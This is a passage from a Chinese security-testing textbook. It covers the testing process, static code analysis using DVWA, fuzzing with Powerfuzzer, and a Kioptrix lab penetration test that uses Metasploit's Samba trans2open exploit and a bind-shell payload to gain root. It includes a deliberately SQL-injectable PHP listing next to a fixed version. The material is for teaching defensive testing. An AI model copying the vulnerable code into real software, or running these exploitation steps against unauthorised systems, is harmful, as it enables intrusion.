软件安全测试的目标也有很多，比如通过找到漏洞并修复来降低成本，提升软件的安全质量，可以为度量软件的安全提供数据等。软件安全测试的根本目标是保证被测软件在面对恶意攻击时仍能按照可接受的方式运行。

在软件安全测试过程中需要用到不同的技术，常见的软件安全测试技术有评审、代码分析、模糊测试和渗透测试。评审主要采用的方法是人工评审，主要审查安全策略、安全需求、威胁建模文档等，需要注意的是人工评审人员需要有前期充分的准备才能发现更多的安全缺陷。代码分析、模糊测试和渗透测试后面会有单独的章节介绍。

安全测试方法可以分为黑盒测试、白盒测试和灰盒测试三种。黑盒测试也称为功能测试、基于需求规格说明书的测试。它把程序看作一个黑盒子，不考虑程序的内部结构和处理过程，只检查程序功能是否按照规格说明书的要求正常运行，判断程序接收输入数据是否产生相应的输出。黑盒测试的优点是测试者无需熟悉软件内部结构，并且在早期就可以根据软件功能制定测试方案，并不依赖于开发者的工作进展，测试简单易行，对测试者的技术要求不高。黑盒测试只能覆盖一部分测试对象，不能保证程序的所有部分都被测试到。

白盒测试也称为结构测试或逻辑驱动测试，它把程序看成一个透明盒子，被测系统的信息已知，分析程序的实现是否正确。白盒测试的优点是可以对代码进行详细审查，能找出隐藏在代码中的错误，确保代码质量。它的缺点是很多时候不能看完所有的代码，不能找出代码缺陷，同时白盒测试和用户如何使用软件无关。白盒测试的主要方法是代码审查，比如查找PHP代码中是否存在文件包含漏洞，可以使用如代码清单5-1所示的命令。

代码清单5-1　查找PHP代码中是否存在文件包含漏洞示例



grep  -R –

E "(include|require).*\$" *.php




灰盒测试介于白盒测试与黑盒测试之间，不仅关注输出对于输入的正确性，同时也关注程序内部。在实际工作中经常将黑盒和白盒测试结合使用，例如可以通过黑盒测试找到可能存在漏洞的点，然后进行代码审查找到最终问题，或者通过白盒测试查找可疑的危险函数，利用黑盒测试的方法查看是否能被利用。

2.软件测试与安全测试的区别

软件测试与安全测试的基本区别是，前者考虑的是用户的基本行为，而后者考虑的是具有攻击性的操作。下面具体分析一下两者之间的区别。

软件测试主要是从最终用户的角度出发发现缺陷并修复，保证软件满足最终用户的要求。软件安全测试是从攻击者的角度出发发现漏洞并修复，保证软件不被恶意攻击者破坏。通常普通用户不会去寻找软件漏洞，恶意攻击者往往经过深思熟虑来寻找软件中的安全漏洞。安全测试和传统测试最重要的区别就是安全测试工程师需要模拟一个聪明的攻击者，他们常常会做出普通用户不会去做的事情，比如输入1000个字符的姓，或重复地试图破坏一个临时文件。安全测试必须考虑超出普通用户行为的其他恶意行为，这些活动在普通测试中可能不需要被关注，安全测试人员要像攻击者一样寻找系统的软肋。

软件测试用例是根据功能需求和其他开发文档等设计的。安全测试用例则是通过安全需求、攻击模式归纳，以及已公布的漏洞等从攻击者的角度设计的。测试用例中测试数据的选择也不相同，软件测试一般选取正向数据，反向数据大多是用户不小心输入的一些数据；安全测试更多的是考虑反向数据，是攻击者精心构造的具有攻击性的数据。

软件测试强调软件应该做什么，安全测试强调的是软件不应该做什么。虽然安全测试有时测试正向的需求，比如“用户账户三次登录不成功后将被锁定”和“网络通信必须加密”；但更多的时候它测试反向的需求，比如“攻击者应该不能修改网页的内容”和“未授权用户不能访问数据”等。测试重心从正向需求到反向需求的转移影响了测试方法。测试正向需求的方法是先创造满足需求的条件，然后检查软件执行是否正确；反向需求则是创造不满足需求的条件，破坏软件的正常运行。

有很多安全需求，比如“攻击者永远不能控制该应用”，软件测试人员可以放弃测试。很多安全需求即使是不可测试的也不能轻易放弃。在安全测试中，测试人员可能不能模拟攻击者获得这个应用的控制权和对应的所有攻击模式，但不能就此放弃这个需求，需要找到一个合适的方法来测试。


5.1.2　软件安全测试流程与原则

1.软件安全测试的流程

为了更好地保证软件安全，要制定一套标准流程来规范安全测试的活动。一套良好的流程应该说明如何计划、组织项目的相关活动。在实际工作中，软件安全测试一般包括：计划、设计、执行和总结四个阶段。

（1）计划阶段

第一个阶段是安全测试计划阶段。计划最主要的工作就是统筹规划整个测试工作，制定安全测试计划首先要了解测试计划的目的。IEEE 829—2008《软件测试文档标准》定义测试计划目标是：规定测试活动的范围、方法、资源和进度；明确正在测试的项目、要测试的特性、要执行的测试任务、每个任务负责人以及与计划相关的风险。

制定安全测试计划的主要依据是项目的整体计划、开发计划、安全计划和需求文档等，该阶段的输出则是安全测试计划文档。测试计划中应该识别需要测试哪些安全需求，也就是安全测试范围，其次测试环境的搭建也是非常重要的。测试团队需要安排并跟踪环境搭建活动，安装测试环境硬件、软件和网络设备，集成其他测试环境资源，获取测试数据库（如果没有，需要测试团队自己准备数据），开发用于搭建环境的脚本，并对基础脚本进行测试。

安全测试计划可以分成多份，一份为主测试计划，不同的测试阶段或测试类型也可以有自己独立的安全测试计划，例如，单元测试计划或者渗透测试计划等。值得注意的是，测试计划是一个过程，而不是一份简单的文档。测试计划过程的最终目标是交流软件测试小组的意图、期望，以及对将要执行任务的理解。本书附录C提供了一份安全测试计划模板。

（2）设计阶段

制定好测试计划后，就进入到安全测试设计阶段。这个阶段需要设计不同测试类型的不同测试方案。对功能的安全测试，包括业务安全，都可以设计相应的测试用例。渗透测试和源代码分析则需制定测试方案。在设计用例时需要注意：在传统的测试中，测试用例只关注功能实现与否；在安全测试中，除了功能实现与否之外，还需要关注安全功能实现的强度和安全功能实现的完备性。一份完整的测试用例至少应该包含操作步骤、预期结果和执行结果等部分。本书附录C提供了一份测试用例模板，供读者参考。

（3）执行阶段

接下来就是真正执行测试的阶段了。执行阶段的主要工作是执行上一个阶段设计的测试用例和测试方案。在执行测试用例的过程中需要记录执行的结果。执行的结果可以简单地分为pass（通过）、fail（失败）、block（阻止）和na（不支持）四种。通过（pass）就是实际结果和预期结果一致，没有问题；失败（fail）就是实际结果和预期结果不一致，需要判断是否是一个漏洞，如果是漏洞，则需要在漏洞管理系统中进行提交；阻止（block）是指由于某个原因导致当前用例无法执行；不支持（not available）是指当前测试环境无法执行当前用例。

在执行安全测试阶段，另外一个非常重要的工作就是漏洞管理。首先，安全测试人员发现并记录漏洞，然后提交给开发人员进行确认。这个过程可能会出现安全测试人员和开发人员意见不一致的情况。例如，安全测试人员认为这是一个漏洞，而开发人员不认为这是一个漏洞，这时一个安全专家团队就显得较为重要。如果开发人员确认这是一个漏洞之后就会进行修复，修复之后需要安全测试人员确认是否真正修复，有无其他绕过方式，如果没有修复则需要通知开发人员继续修复，直到修复完成为止。

如何记录发现的漏洞也十分重要。一份完整的漏洞报告中至少要包含标识符、漏洞描述、严重性、优先级等内容。标识符是识别一个漏洞的唯一编号，漏洞描述是对发现漏洞过程的详细描述，严重程度是指该漏洞可能对系统造成的影响，优先级说明漏洞修复的优先级别。判断漏洞优先级的典型方法就是微软的DREAD。如果项目中的漏洞比较少，可以采用文档来管理，如果比较多，有必要使用漏洞跟踪管理系统，开源的Mantis，Bugzilla等都可以使用。

（4）总结阶段

安全测试的最后一个阶段是总结报告。总结阶段需要报告整个安全测试活动的所有过程及结果，并对本次安全测试进行评价。

为了更好地改进流程，提高安全测试的效率，可以将安全测试和PDCA进行结合。PDCA循环是基于过程方法制定的一种持续改进模型，又叫戴明环，由美国质量管理专家戴明博士首先提出，最初用于全面质量管理。PDCA是英语单词Plan、Do、Check和Act的首字母，PDCA循环是按照计划、执行、检查、改进的顺序进行质量管理，并且循环进行下去的科学程序。

PDCA模型已经成为管理科学中通用的过程改进模型。该模型在应用时，按照PDCA的顺序依次进行，一次完整的PDCA可以看成组织在管理上的一个周期。每经过一次PDCA，组织的管理体系都会得到一定程度的完善，同时进入下一个更高层次的管理周期，通过持续不断的PDCA循环，组织的管理体系得到持续改进，管理水平随之不断提升。PDCA循环有以下三个特点。

·按顺序进行。PDCA循环靠组织的力量来推动，按顺序完成每一阶段的工作，像车轮一样向前进，周而复始，不断循环。

·组织中的每个部分，甚至个人，均可以PDCA循环，大环套小环，一层一层地解决问题。也就是说，质量管理可以分为若干级，各级质量管理都有一个PDCA循环，形成一个大环套小环，一环扣一环，互相制约、互为补充的有机整体。在PDCA循环中，一般来说，上一级的循环是下一级循环的依据，下一级循环是上一级循环的落实和具体化。

·每通过一次PDCA循环，都要进行总结，提出新目标，再进行第二次PDCA循环。也就是说，每一次PDCA循环都不是在原地周而复始运转，而是有新的目标和内容，每经过一次循环，都会解决一批问题，质量水平有新的提高。

安全测试活动对应PDCA中的Plan就是制定安全测试计划；Do阶段就是按照计划中的要求来执行测试，包括设计阶段、执行测试阶段；Check阶段对应的是总结报告，对各种文档和测试结果进行评估；Action阶段是根据上一阶段的评估结果进行流程的改进，以提高安全测试的质量和效率。

2.软件安全测试的原则

软件安全测试应遵循一些基本原则，OWASP在测试指南中列举了很多，常用的通用原则如下。

1）应尽早不断进行软件安全测试，越晚发现漏洞，修复的成本越高。

2）在有限的时间和资源下进行完全测试，找出软件所有的错误和缺陷是不可能的，软件测试不能无限进行下去，应适时终止。在软件安全测试中同样如此，应该通过威胁建模等方法，优先测试高风险模块。

3）测试只能证明软件存在错误而不能证明软件没有错误。测试无法显示潜在的错误和缺陷，继续进一步测试可能还会找到其他错误和缺陷。同理，安全测试只能证明系统存在安全漏洞，并不能证明应用程序是安全的，只用于验证所设立安全策略的有效性，安全策略是基于威胁分析阶段假设选择的。软件安全没有银弹。

4）程序员应避免检查自己的程序。同样，软件安全测试也应该如此。

5）尽量避免测试的随意性。软件安全测试是有组织、有计划、有步骤的活动，要严格按照测试计划进行，避免测试的随意性。


5.1.3　软件安全测试内容

软件安全测试的主要依据是软件需求规格说明书，软件安全测试的内容也就是软件需求说明书中的内容，通常包括安全功能验证、安全策略验证、威胁缓解措施验证和系统实现安全验证四方面。在安全测试中，安全功能的实现仅仅是第一层次，除此之外还需要验证安全功能实现的强度和完备性。除了安全功能的验证之外，威胁建模文档中的安全策略和缓解措施也要进行验证，和安全功能一样，不仅要验证安全策略和缓解措施是否实现，还要验证实现的完备性。

安全功能的实现通常可以由传统的测试人员来执行，但安全功能的实现强度和完备性还需由安全人员设计测试用例，由传统测试人员来执行。在实际测试中经常会发现这样的问题：通过一些渗透测试、扫描工具，测试人员可以很方便地发现SQL注入、XSS等漏洞，但一些业务流程上的漏洞却很难通过这些技术手段来发现，这类问题可以由安全人员设计一些测试用例交给传统测试人员来执行。

下面就详细地介绍每部分的内容。安全功能是指为了系统能够安全运行而提供的必要的功能，如访问控制、加密算法和运行环境等。对安全功能的验证包括三个方面：功能实现验证、功能实现强度验证和功能实现完备性验证。功能实现验证是指验证定义的安全功能是否实现且有效；功能实现强度验证是指证实安全功能，特别是加密算法、协议、口令策略的强度是否达到定义的要求；功能实现完备性验证测试是否有其他的方式，降低安全实现的强度或者绕过安全实现的功能区域。

安全策略主要指针对整体的安全威胁和缓解措施定义使用的整体安全策略，例如，如何进行会话管理、日志管理等。安全策略验证包括实现验证和实现完备性验证两部分。安全策略实现验证分析定义的安全策略在各个测试层是否实现且有效。安全策略实现完备性验证用于判断是否有其他的方式绕过安全策略。

威胁缓解措施是针对威胁建模中发现的威胁而提出的解决方案。针对威胁缓解措施的验证和安全策略类似，包括缓解措施实现的验证和缓解措施实现的完备性验证、缓解措施是否有效、有无其他的方式可以绕过缓解措施、使用的缓解措施是否引起了其他的安全问题。

系统的安全实现测试主要验证整个系统的实现是否是安全的，有没有严重的安全漏洞，是从整体上对系统进行的安全测试。这个环节也是工作量最大的部分。

软件安全测试的内容有很多，哪部分应该花比较多的时间重点测试，哪部分如果没有时间可以忽略，这就需要对每部分内容进行优先级划分，对优先级的划分实质上就是进行风险分析。风险分析不仅要考虑潜在的攻击行为，还要考虑内部脆弱性和资产价值。风险值的计算是一个比较复杂的过程，在安全测试中一般会把这个过程简化为：风险=可能性*破坏程度（Risk=Probability*Damage Potential）。可以参考微软的DREAD，从五个方面来评估风险的大小，这五个方面分别是危害性、再现性、可利用性、受影响的用户和可发现性。


5.2　代码分析

代码分析一般分成静态代码分析和动态代码分析。静态代码分析是指在不运行程序的情况下，评估代码发现缺陷。程序员在编码阶段经常会犯一些错误，其中一些错误编译器会提示，还有一些错误不存在语法问题，却可能导致安全隐患，如没有对用户输入的数据进行检查导致XSS攻击等。这类问题可用静态代码分析的方法来解决。虽然渗透测试等方法也可以发现这类漏洞，但漏洞修复越晚成本越高。动态代码分析通过运行程序，发掘数据流和具体实现方法中存在的缺陷。本节重点介绍静态代码分析。在安全测试领域，常见的静态代码分析包括源代码分析和二进制文件分析。


5.2.1　源代码分析过程

源代码分析是在编码阶段进行的安全测试活动，主要方法包括污染传播分析、数据流分析、控制流分析和词法分析等。Chess B.和West J.在《安全编程：代码静态分析》一书中将实施静态源代码分析的流程总结为四个阶段（见图5-1）：确定目标、运行工具、报告结果和修复漏洞。
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图5-1　静态源代码分析流程图

（1）确定目标

这个阶段的工作主要包括确定本次审查的安全目标、审查的内容以及审查前的准备工作。任何工作开始之前都需要明确目标，代码审查也不例外。在代码审查中一个经常出现的问题就是“本次审查的重点是什么？”确定目标必须与风险分析相结合，存在的哪些漏洞会对系统造成较大安全风险，那么这些就是源代码审查的重点。确定安全目标还需要关注高层领导或最终用户的期望。

需要注意的是，源代码审查并不能发现所有的问题，OWASP的Dave Wichers认为：源代码审查主要发现注入缺陷、跨站点脚本攻击、直接对象引用、伪造跨站点请求、基于URL的访问控制、加密存储和重定向缺陷；渗透测试主要发现配置缺陷和传输安全缺陷；其他诸如认证缺陷以及找寻认证和会话管理缺陷，使用这两种方法都可以解决。

大型程序的源代码已经达到甚至远远超过了千万行，需要确定被分析代码的优先级，明确审核范围并排定优先级也需要依据风险评估的结果，以单个程序为单位来排定审核优先级。源代码分析人员需要了解所审查代码的功能和用途，分析人员对代码越了解，分析效果就越好。

（2）运行工具

明确了安全目标和审核范围，就可以运行静态分析工具了。不同静态代码分析工具的具体实现和工作原理不尽一致，但其核心都是在规则库的作用下识别漏洞，如图5-2所示。其中，规则库是影响静态分析效果的重要因素，也是静态分析工具选取的主要考察内容之一，如果规则库内容全面且设置合理，漏报、误报相对较少。对于安全测试而言，误报可以使用人工检查来排除，但是漏报很难通过人工检查来发现。除了工具自带的规则库外，常常还需要根据测试代码的特点来增加自定义规则库。
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图5-2　静态分析工具工作流程图

如果现有静态工具不能满足使用需求，也可以选择自行搭建自动化的静态代码分析平台。图5-3所示是自动化静态代码分析平台的具体实现方法。自动化静态代码分析平台的流程和通用的源代码分析流程类似，其实现的关键是规则库的建立。关于规则库的建立需要不断积累项目经验，才能减少误报和漏报。
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图5-3　源代码自动化审查流程

（3）报告结果

工具运行完毕后会形成详细的结果报告，还需要分析人员对审查结果进行确认，去除其中的误报。需要注意的是，不要局限于结果报告，要发现潜在的问题，分析工具经常会在敏感操作代码的位置报告一个问题，其附近代码也可能存在问题，分析人员也应重点关注。如果发现了一个分析工具没有报告的问题，还需要分析如何设定规则才能发现这个问题，将该规则补充到规则库中，并不断完善优化。

源代码分析结果需要在漏洞管理系统中记录下来，通知开发人员进行修复。分析人员提交的漏洞信息应该是开发人员可以理解的，避免提交的漏洞信息过于专业，以至于开发人员无法理解，修复困难。

（4）修复漏洞

开发人员需要修复审查人员提交的漏洞，漏洞修复完成后，应进行漏洞可利用性判定，避免出现可利用的漏洞没有被修复的情况。开发人员修复后，审查人员还需要验证修复是否正确。


5.2.2　源代码分析实例

DVWA（Damn Vulnerable Web App）是一个开源的Web漏洞演练平台，包含了SQL注入、XSS跨站脚本、命令包含和文件上传等Web应用中最为常见的漏洞，网站地址为http://www.dvwa.co.uk/
 。本次测试中，将Web常见漏洞列为主要测试目标，需要测试的脚本为所有PHP脚本。

CodeXploiter是一款免费的源代码分析工具，运行界面如图5-4所示。
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图5-4　CodeXploiter启动界面

首先在“LoadFiles”中加载文件，然后在“Vulnerabilities”中设置需要分析的代码缺陷类型，最后单击“Scan”。图5-5显示的是CodeXploiter支持的漏洞类型。
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图5-5　CodeXploiter支持的漏洞类型

首先，单击“Load Files”选择加载需要分析的文件，本次演示使用的文件是DVWA中级别为low的sql注入文件low.php，然后单击“Scan”，结果如图5-6所示。
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图5-6　扫描结果

分析结果显示，第9行$query变量存在SQL注入漏洞。手工打开low.php文件进行核查，代码如代码清单5-2所示。

代码清单5-2　原始代码



<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );
        // Feedback for end user
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        // Increase loop count
        $i++;
    }
    mysql_close();
}
?>




产生该SQL注入缺陷的代码在第8行，SQL查询语句中$id变量与查询语句直接拼接，没有进行输入验证。本例中$id变量只可能为数字，所以可以通过对$id变量进行检查来修复这个漏洞。修复代码如代码清单5-3所示。

代码清单5-3　修复后代码



<?php
if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $id = $_GET[ 'id' ];
    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();
        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];
            // Feedback for end user
            $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}
?>





5.3　模糊测试

模糊测试（Fuzz Testing）是一种软件安全测试技术，它通过监视非预期输入可能产生的异常结果来发现软件问题，其核心思想是自动或半自动的生成随机数据输入到程序中，记录程序异常，如崩溃、断言失败等，以发现可能的程序错误。模糊测试最早产生于1988年威斯康星大学Barton Miller教授的一个课程实验，实验内容是开发一个命令行模糊器，该模糊器可以随机生成输入参数以测试Unix程序。

模糊测试相当于对系统的行为做一个随机采样分析。通过模糊测试说明软件可以处理某些异常情况，不会崩溃，但并不能说明该软件的行为完全正确。这表明模糊测试更多的是一种对整体质量的保证，并不能替代全面的测试或者形式化方法。模糊测试可以提示程序哪些部件需要特别注意，对于这些部件可以进一步使用静态分析等其他软件安全测试方法。模糊测试数据更多的是无效的或是半有效的（测试数据有一部分是对的，有一部分是错的）。测试中随机生成的测试用例只是一部分，很多还需要依靠人的分析与经验推导生成。


5.3.1　模糊测试过程

模糊测试可以分为识别目标、识别输入、生成模糊测试数据、执行模糊测试、监视异常和判定漏洞可利用性六个基本阶段。其中，前面章节已经介绍了判定漏洞可利用性的相关内容，本节将说明前五个阶段的基本工作。

识别测试目标是进行模糊测试的第一步，也是最重要的一步。不同的测试目标使用的模糊测试技术和方法不一样。模糊测试同样也可以在基于风险的安全测试中使用，可以根据风险分析的结果，对风险较高的应用或模块进行有针对性的模糊测试。

确定测试目标之后，需要分析待测目标的输入类型，针对不同的输入类型设计不同的模糊测试数据。常见的输入向量有消息头、文件名、环境变量、注册表键值等。任何从客户端发往目标应用程序的输入都应该作为输入向量，比如一个http请求，包括请求头、URL、发送的参数等，都是输入向量。

确定待测目标和输入向量后，应该生成模糊测试数据，根据不同的输入向量选择不同的模糊器来生成模糊测试数据。由于数据量较大，这个阶段通常会采用自动化方式完成。常用的模糊测试数据生成方法有：预先生成测试用例、随机生成测试、人工变异协议模糊测试、变异或强制性测试和自动协议生成测试。其中，自动协议生成测试是综合了前四种方法的、更高级的强制性测试方法，目前的模糊测试工具也都支持这种方法。

常用的模糊器有本地模糊器、远程模糊器、内存模糊器和模糊测试框架。本地模糊器主要用来生成本地测试目标的测试用例，通常会关注三类输入：命令行参数、环境变量参数和文件格式。远程模糊器是以监听一个网络接口的远程软件为测试目标，可以分为网络协议模糊器、Web应用模糊器和Web浏览器模糊器三类。内存模糊器的实现方法是冻结进程并存储其快照，然后快速将可能造成故障的数据注入进程解析例程。模糊测试框架包括三个部分：漏洞触发方法库、网络和磁盘输入输出简化例程，以及某种脚本类语言（如Python），以便在创建具体的模糊器时使用。模糊测试框架具有可重用性，使用时需要根据测试目标的特点选择性使用。

执行模糊测试就是将上一阶段生成的大量模糊测试数据不断发送给待测目标程序。面对大量的模糊测试数据，同样需要使用自动化工具来完成，使用手工测试是不现实的，因此有“没有自动化就没有真正的模糊测试”的说法。

监视异常是模糊测试中至关重要的一步，如果没有监视异常，那么前面所有操作都是徒劳。监视异常可以发现哪里有故障，并根据监视信息进一步分析为什么会产生故障。


5.3.2　模糊测试实例

目前有许多模糊测试工具，Powerfuzzer是一个开源跨平台、高度自动化的Web模糊测试工具，其网址为http://www.powerfuzzer.com/
 。Powerfuzzer可以用来发现缓冲区溢出、拒绝服务、SQL注入和跨站脚本（XSS）等类型的漏洞。下面将使用Powerfuzzer进行跨站脚本漏洞的检测。

Powerfuzzer的界面非常直观，启动界面如图5-7所示。
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图5-7　Powerfuzzer主界面

Target URL：要扫描的目标网站地址；

Exclude URL（s）or dir：可以定义不希望进行扫描测试的链接地址或者目录名称；

Credentials：有一些页面扫描测试的时候可能需要账号和密码，可以在这个部分填写账号和密码；

Proxy：可以使用代理，达到匿名扫描的目的；

Timeout：可以设置扫描请求超时的时间；

Verbosity：可以选择扫描测试的深度和等级。

接下来对一个含有已知安全漏洞的站点http://testphp.vulnweb.com/
 来进行模糊测试。

首先，在Target URL位置输入目标网址http://testphp.vulnweb.com/
 ，设置扫描深度为high，单击“Scan”。接下来Powerfuzzer会开始对目标网站进行自动化的模糊测试，扫描过程如图5-8所示。
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图5-8　扫描过程

测试完成后，Powerfuzzer将会显示漏洞报告，如图5-9所示。
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图5-9　漏洞报告

Powerfuzzer扫描过程如图5-10所示。图中显示的操作是对artist参数进行模糊测试，系统产生了很多非预期输入，监视异常结果。一旦发现异常，Powerfuzzer就会显示并写入最终报告。
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图5-10　扫描中间过程

目前Web漏洞扫描工具大都使用模糊测试来发现漏洞，只有风险较高的模块才需要人工参与，一般模块的安全测试可以直接使用这类工具。


5.4　渗透测试

渗透测试通过模拟恶意黑客的攻击方法来评估系统的安全状况，该过程包括对系统弱点、技术缺陷或漏洞的分析。渗透测试是一个逐步深入的过程，测试时一般不会对业务系统的正常运行造成影响。渗透测试发现的问题都是客观存在的，也较为严重，但是它只能覆盖有限的测试点。渗透测试主要模拟真实场景分析入侵者可能的攻击途径，系统部署完成后才能进行测试。渗透测试可以选择使用自动化测试工具，测试人员的能力和经验也会直接对测试效果产生影响。

渗透测试对象包括操作系统、数据库、应用系统和网络设备五种类型。其中，操作系统渗透测试以Windows、Solaris、AIX、Linux、SCO、SGI等为主要目标；数据库系统渗透测试以MS-SQL、Oracle、MySQL、Informix、Sybase、DB2、Access等为主要目标；应用系统渗透测试包含各种应用软件或程序，如ASP、CGI、JSP、PHP等组成的Web应用程序；网络设备渗透测试包含防火墙、入侵检测系统等。


5.4.1　渗透测试过程

《渗透测试执行标准》（Penetration Testing Execution Standard，PTES）是安全业界在渗透测试技术领域中正在开发的一个新标准，目标是建立得到安全业界广泛认同的渗透测试基本准则，定义完整的渗透测试过程，官方网站地址为http://www.pentest-standard.org/
 。该标准将渗透测试过程分为以下阶段：前期交互、情报收集、威胁与漏洞分析、渗透攻击、渗透后攻击和报告。每个阶段定义了不同的扩展级别。

（1）前期交互阶段

在此阶段，渗透测试团队和用户进行讨论沟通，确定渗透测试的范围和目标、限制条件等。该阶段需要收集客户需求，准备测试计划、定义测试范围与边界、定义业务目标，制定项目管理与规划。

明确渗透测试范围是渗透测试的第一步，也是最为重要的一步。测试人员需要考虑以下问题：本次渗透测试的目的是什么；渗透测试过程中有什么限制条件；预计渗透测试时间是多长，什么时候开始；渗透测试过程是否可以使用社会工程学方法；渗透测试是否需要和安全团队合作；是否可以使用拒绝服务攻击；允许检查的IP范围是什么；如何处理敏感信息。

制定渗透测试计划也是本阶段的一项重要工作，计划需要得到用户的批准和授权才能实施。一份完整的渗透测试计划应该包含渗透测试的范围、类型、地点、涉及的组织机构、方法及渗透的各个阶段等。具体内容如下：目标系统介绍、重点保护对象及特性；是否允许数据破坏；是否允许阻断业务正常运行；测试之前是否应当知会相关部门联系人；接入方式为外网连接还是内网连接；测试时是否需要尽可能多的发现问题；测试过程是否需要考虑社会工程学攻击；等等。

（2）情报收集阶段

在完成了前期交互之后，就可以开始执行渗透测试，第一步是情报收集，分为主动收集和被动收集。主动收集与目标系统直接交互，可以通过工具扫描来获取目标系统信息；被动收集是通过网络获得对渗透测试有用的相关目标信息，可以使用搜索引擎来搜集。

信息收集的内容主要是系统、网络和应用相关的信息。使用端口扫描和服务扫描可以得到系统相关信息，如系统的“旗标”、存在的漏洞等。网络信息收集内容包括域名、网络结构等。应用信息收集大多关注应用服务器的版本、平台信息和已发布的漏洞等。

收集到信息之后还需要对信息进行整理分类，提取出对渗透有用的信息。情报收集的结果将会决定渗透测试的成败，所以应由经验丰富的渗透人员来完成情报搜集。

（3）威胁与漏洞分析阶段

本阶段主要是根据上一阶段收集的信息，从攻击者的角度确定可行有效的攻击路径和方法。确定攻击路径后，分析如何获取目标系统的访问控制权。这个阶段将使用上一阶段确定的攻击路径，在实际环境中测试系统漏洞，有些高水平的团队会在这个阶段挖掘出新的漏洞。

（4）渗透攻击阶段

渗透攻击阶段是真正的入侵到目标系统中，获得访问控制权。由于一般的系统都是有安全设备防护的，如防火墙、入侵检测系统等，此时渗透人员需要考虑如何绕过这些安全防护检测机制。这个过程往往并不是一帆风顺的，需要不断的尝试。要确保在尝试前充分了解目标系统和利用漏洞，漫无目的的尝试只会造成大量的报警信息，并不会对测试有任何帮助。

（5）渗透后攻击阶段

很多初学者认为已经入侵到目标系统，渗透测试就应该结束了。恰恰相反，渗透后攻击阶段才最能体现渗透测试团队的技术能力，为用户提供真正有价值的信息。渗透后攻击阶段以特定业务系统为目标，找到用户最需要保护的资产，这就需要从一个系统攻入另一个系统，判断系统的作用。攻入了一个普通员工的主机，那么是否可以利用它攻入系统管理员的主机，或者域控制服务器呢？目前攻入的是财务系统还是销售系统？等等。这个阶段需要发挥渗透测试人员的想象力，要像攻击者一样制定攻击步骤。

（6）报告阶段

在此阶段，测试人员需要从用户的角度考虑如何防御已知攻击。一份完整的报告应当包含按照严重等级排序的弱点列表清单、弱点详细描述及利用方法、解决建议、参与人员、测试时间等。

渗透测试是一种软件开发生命周期后期的活动，测试人员会发现软件配置相关的安全漏洞，这类问题在软件开发中经常被忽略，在软件开发的后期修改缺陷往往成本较高，有些问题难以从根本上解决。实践证明，为了使渗透测试更有效，最好的方式就是将滥用用例、威胁建模等作为渗透测试活动的基础，用风险管理的思想来指导测试。


5.4.2　渗透测试实例

Kioptrix是由www.kioptrix.com
 小组中StevenMcElrea和Richard Dinelle搭建的配置有特定漏洞的Linux发行版，可以使用nmap和MetasploitFramework对其进行渗透测试。首先，从http://www.kioptrix.com
 网站上下载Kioptrix压缩包，下载完成后需要将其解压到选定的文件夹，然后使用虚拟机软件打开，作者这里使用的是VMware虚拟机软件，Kioptrix Level 1虚拟机会自动从DHCP服务器上分配一个IP地址。

前期交互阶段最主要的工作就是测试规划。实际渗透测试中，规划需要利用社会工程学、互联网查询等多种手段。本次实验目标是位于192.168.1.103上的Kioptrix Level 1虚拟机。

首先，对目标靶机进行一次端口扫描，发现目标主机开放了22、80、111、139、443、1024几个端口，如图5-11所示。
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图5-11　端口扫描

接下来查看目标靶机开发端口的服务名称及版本信息，如图5-12所示。其中22端口使用的是OpenSSH 2.9p2，80端口使用的是Apache1.3.20，139端口使用的是samba，443端口使用的是OpenSSL，这些版本软件都存在漏洞。

除此之外，还需要识别服务器的系统信息，显示结果如图5-13所示，系统为Linux，内核版本为2.4。
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图5-12　查看目标靶机开放端口的服务名称及版本信息
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图5-13　识别服务器系统信息

到这里可以粗略判断出有可能的攻击路径为22端口的SSH服务、80端口的Web服务、139端口的Samba、443端口的OpenSSL。为了更好地分析判断，可以再进行一次漏洞扫描。其中，SSL 2.8.4存在CVE-2002-0082漏洞，可以下载攻击代码编译后实施攻击；Linux下OpenSSH有暴力破解漏洞；80端口并没有实际的Web应用，因此暂时放弃；139端口Samba存在很多漏洞，Metasploit Framework中有收集，可以直接利用。因此，选择确定第一攻击路径为139端口的Samba，其次为443端口的OpenSSL。

首先，使用Metasploit Framework进行攻击。使用“search samba”命令来搜索Samba漏洞，存在如图5-14所示的漏洞，其中成功率最高的为trans2open，这里选取这个漏洞来尝试攻击。

通过“show options”命令，查看使用该漏洞所需的参数，结果如图5-15所示。
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图5-14　搜索漏洞

[image: ]


图5-15　查看参数

通过查看参数发现，使用该漏洞只需设置RHOST即可，即目标主机地址。可以通过“set”命令来设置，如图5-16所示。
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图5-16　设置相关参数

接下来要选择payload攻击载荷，可以通过show payloads命令查看当前模块所支持的所有攻击载荷列表。这里选择shell_bind_tcp方式，如图5-17所示。
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图5-17　选择payload

设置payload后，还需要再使用“show options”命令来查看是否所有参数都已经设置完毕，如图5-18所示。

如果参数都设置好后就可以使用“exploit”命令开始攻击了，如图5-19所示。

此时，在shell中输入whoami命令，得到的当前用户为root，id命令返回结果uid为0的root用户，说明溢出成功，如图5-20所示。
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图5-18　查看参数
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图5-19　进行攻击
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图5-20　验证

渗透后攻击主要是把已经攻下的靶机作为跳板继续进行同网段的渗透，这里由于只有一台目标靶机就不继续进行了。
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第6章　软件部署和项目管理安全

